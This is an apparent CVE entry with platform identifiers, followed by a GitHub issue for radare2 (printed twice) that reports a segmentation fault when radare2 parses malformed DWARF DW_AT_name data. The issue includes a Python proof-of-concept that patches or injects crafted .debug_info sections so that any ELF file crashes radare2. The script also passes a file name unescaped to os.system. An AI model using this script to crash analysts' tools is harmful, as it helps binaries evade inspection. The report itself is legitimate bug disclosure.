radare2 4.5.0 misparses DWARF information in executable files, causing a segmentation fault in parse_typedef in type_dwarf.c via a malformed DW_AT_name in the .debug_info section.
cpe:2.3:a:radare:radare2:4.5.0:*:*:*:*:*:*:*
56860C89-D0FF-4A28-B2D1-C3E8C5A9AFD6
OR
cpe:2.3:o:fedoraproject:fedora:32:*:*:*:*:*:*:*
36D96259-24BD-44E2-96D9-78CE1D41F956
cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*
E460AA51-FCDA-46B9-AE97-E6676AA5E194
OR

### Work environment

| Questions                                            | Answers
|------------------------------------------------------|--------------------
| OS/arch/bits (mandatory)                             | 5.6.16-1-Manjaro x86_64, Kubuntu x86 32
| File format of the file you reverse (mandatory)      |  ELF
| Architecture/bits of the file (mandatory)            |  x86/32, x86/64
| r2 -v full output, **not truncated** (mandatory)     | radare2 4.6.0-git 25006 @ linux-x86-64 git.4.4.0-481-geac93216e
commit: eac93216ecb0819dd05264e44347b2bbb931e7d9 build: 2020-07-26__21:25:02

### Expected behavior

`radare2 ./test_crash` opens the file in radare2 and displays the r2 shell to the user.

### Actual behavior

`$ r2 test_crash `
`Segmentation fault (core dumped)`

### Steps to reproduce the behavior 
We, Architect (@CitadelArcho) and me, discovered this bug and dug a bit into it.
It is caused by malformed DWARF information (DW_AT_name), in the .debug_info section.
So we wrote a small PoC script which turns any ELF into a binary which makes radare2 crash.

```Python
#!/usr/bin/python3
from elftools.elf.elffile import ELFFile
from elftools.elf.enums import ENUM_E_MACHINE
import sys
import struct
import argparse
import os
import base64

# trigger a segfault in radare2 by modifing a DW_FORM_strp (a reference to a string in the dwarf debug format) (modify the shift in DW_AT_name)
# bug found by S01den and Architect (with custom fuzzing)

def build_parser():
	parser = argparse.ArgumentParser(description="Trigger a segfault in radare2 by modifing a DW_FORM_strp in .debug_info")
	parser.add_argument("-f", "--file", 
		type=str, default="main",
		help="select the file to patch")

	return parser

print("__________                       _____  ________   _____  _________                      .__     ")
print("\______   \_______  ____   _____/ ____\ \_____  \_/ ____\ \_   ___ \____________    _____|  |__  ")
print("|     ___/\_  __ \/  _ \ /  _ \   __\   /   |   \   __\  /    \  \/\_  __ \__  \  /  ___/  |  \  ")
print("|    |     |  | \(  <_> |  <_> )  |    /    |    \  |    \     \____|  | \// __ \_\___ \|   Y  \ ")
print("|____|     |__|   \____/ \____/|__|    \_______  /__|     \______  /|__|  (____  /____  >___|  / ")
print("                                                \/                \/            \/     \/     \/ ")

args = build_parser().parse_args()

if(len(sys.argv) < 2):
	print("Command: ./unRadare2.py -f file_to_patch")
	exit()

filename = args.file
found = 0

file = open(filename,"rb")
binary = bytearray(file.read())
elffile = ELFFile(file)

offset_section_table = elffile.header.e_shoff
nbr_entries_section_table = elffile.header.e_shnum

for section in elffile.iter_sections():
	if(section.name == ".debug_info"):
		print("[*] .debug_info section f0und at %s!" % hex(section['sh_offset']))
		found = 1
		break

if(found):
	offset_dbg = section['sh_offset']
	binary[offset_dbg+0x31] = 0xff
	new_filename = filename+"_PoC"
	new_file = open(new_filename,"wb")
	new_file.write(binary)
	new_file.close()

	print("[*] ELF patched ! ----> "+new_filename)

else:
	comment_section = 0
	shstrtab_section = 0

	print("[!] No .debug_info section f0und :(")
	print("[*] So let's add it !")

	bin_abbrev = base64.b64decode("AREBJQ4TCwMOGw4RARIHEBcAAAIWAAMOOgs7C0kTAAADJAALCz4LAw4AAAQkAAsLPgsDCAAABQ8ACwsAAAYPAA==")
	bin_info = base64.b64decode("OAAAAAQAAAAAAAgBowAAAATXDQAAhxcAAM0OQAAAAAAAYCAAAAAAAAAAAAAAAjAAAAAD1DgAAAADCAcyFQAAAwEI")

	open("tmp_info", "wb").write(bin_info)
	open("tmp_abbrev", "wb").write(bin_abbrev)

	cmd_1 = "objcopy --add-section .debug_info=tmp_info "+args.file
	cmd_2 = "objcopy --add-section .debug_abbrev=tmp_abbrev "+args.file

	os.system(cmd_1)
	os.system(cmd_2)
	os.remove("tmp_info")
	os.remove("tmp_abbrev")
	print("[*] ELF patched ! ----> "+filename)

file.close()
```
![crash_r2](https://user-images.githubusercontent.com/34453174/88986516-8173be00-d2d3-11ea-8b35-9931a9d61f31.png)


[ELF] Segmentation fault by opening a binary (Bug in DWARF parsing)
This is a GitHub Issue
repo:radare2
owner:radareorg
Title : [ELF] Segmentation fault by opening a binary (Bug in DWARF parsing)
Issue date:

--- start body ---

### Work environment

| Questions                                            | Answers
|------------------------------------------------------|--------------------
| OS/arch/bits (mandatory)                             | 5.6.16-1-Manjaro x86_64, Kubuntu x86 32
| File format of the file you reverse (mandatory)      |  ELF
| Architecture/bits of the file (mandatory)            |  x86/32, x86/64
| r2 -v full output, **not truncated** (mandatory)     | radare2 4.6.0-git 25006 @ linux-x86-64 git.4.4.0-481-geac93216e
commit: eac93216ecb0819dd05264e44347b2bbb931e7d9 build: 2020-07-26__21:25:02

### Expected behavior

`radare2 ./test_crash` opens the file in radare2 and displays the r2 shell to the user.

### Actual behavior

`$ r2 test_crash `
`Segmentation fault (core dumped)`

### Steps to reproduce the behavior 
We, Architect (@CitadelArcho) and me, discovered this bug and dug a bit into it.
It is caused by malformed DWARF information (DW_AT_name), in the .debug_info section.
So we wrote a small PoC script which turns any ELF into a binary which makes radare2 crash.

```Python
#!/usr/bin/python3
from elftools.elf.elffile import ELFFile
from elftools.elf.enums import ENUM_E_MACHINE
import sys
import struct
import argparse
import os
import base64

# trigger a segfault in radare2 by modifing a DW_FORM_strp (a reference to a string in the dwarf debug format) (modify the shift in DW_AT_name)
# bug found by S01den and Architect (with custom fuzzing)

def build_parser():
	parser = argparse.ArgumentParser(description="Trigger a segfault in radare2 by modifing a DW_FORM_strp in .debug_info")
	parser.add_argument("-f", "--file", 
		type=str, default="main",
		help="select the file to patch")

	return parser

print("__________                       _____  ________   _____  _________                      .__     ")
print("\______   \_______  ____   _____/ ____\ \_____  \_/ ____\ \_   ___ \____________    _____|  |__  ")
print("|     ___/\_  __ \/  _ \ /  _ \   __\   /   |   \   __\  /    \  \/\_  __ \__  \  /  ___/  |  \  ")
print("|    |     |  | \(  <_> |  <_> )  |    /    |    \  |    \     \____|  | \// __ \_\___ \|   Y  \ ")
print("|____|     |__|   \____/ \____/|__|    \_______  /__|     \______  /|__|  (____  /____  >___|  / ")
print("                                                \/                \/            \/     \/     \/ ")

args = build_parser().parse_args()

if(len(sys.argv) < 2):
	print("Command: ./unRadare2.py -f file_to_patch")
	exit()

filename = args.file
found = 0

file = open(filename,"rb")
binary = bytearray(file.read())
elffile = ELFFile(file)

offset_section_table = elffile.header.e_shoff
nbr_entries_section_table = elffile.header.e_shnum

for section in elffile.iter_sections():
	if(section.name == ".debug_info"):
		print("[*] .debug_info section f0und at %s!" % hex(section['sh_offset']))
		found = 1
		break

if(found):
	offset_dbg = section['sh_offset']
	binary[offset_dbg+0x31] = 0xff
	new_filename = filename+"_PoC"
	new_file = open(new_filename,"wb")
	new_file.write(binary)
	new_file.close()

	print("[*] ELF patched ! ----> "+new_filename)

else:
	comment_section = 0
	shstrtab_section = 0

	print("[!] No .debug_info section f0und :(")
	print("[*] So let's add it !")

	bin_abbrev = base64.b64decode("AREBJQ4TCwMOGw4RARIHEBcAAAIWAAMOOgs7C0kTAAADJAALCz4LAw4AAAQkAAsLPgsDCAAABQ8ACwsAAAYPAA==")
	bin_info = base64.b64decode("OAAAAAQAAAAAAAgBowAAAATXDQAAhxcAAM0OQAAAAAAAYCAAAAAAAAAAAAAAAjAAAAAD1DgAAAADCAcyFQAAAwEI")

	open("tmp_info", "wb").write(bin_info)
	open("tmp_abbrev", "wb").write(bin_abbrev)

	cmd_1 = "objcopy --add-section .debug_info=tmp_info "+args.file
	cmd_2 = "objcopy --add-section .debug_abbrev=tmp_abbrev "+args.file

	os.system(cmd_1)
	os.system(cmd_2)
	os.remove("tmp_info")
	os.remove("tmp_abbrev")
	print("[*] ELF patched ! ----> "+filename)

file.close()
```
![crash_r2](https://user-images.githubusercontent.com/34453174/88986516-8173be00-d2d3-11ea-8b35-9931a9d61f31.png)


--- end body ---

comments :
--- start comments ---

--- end comments ---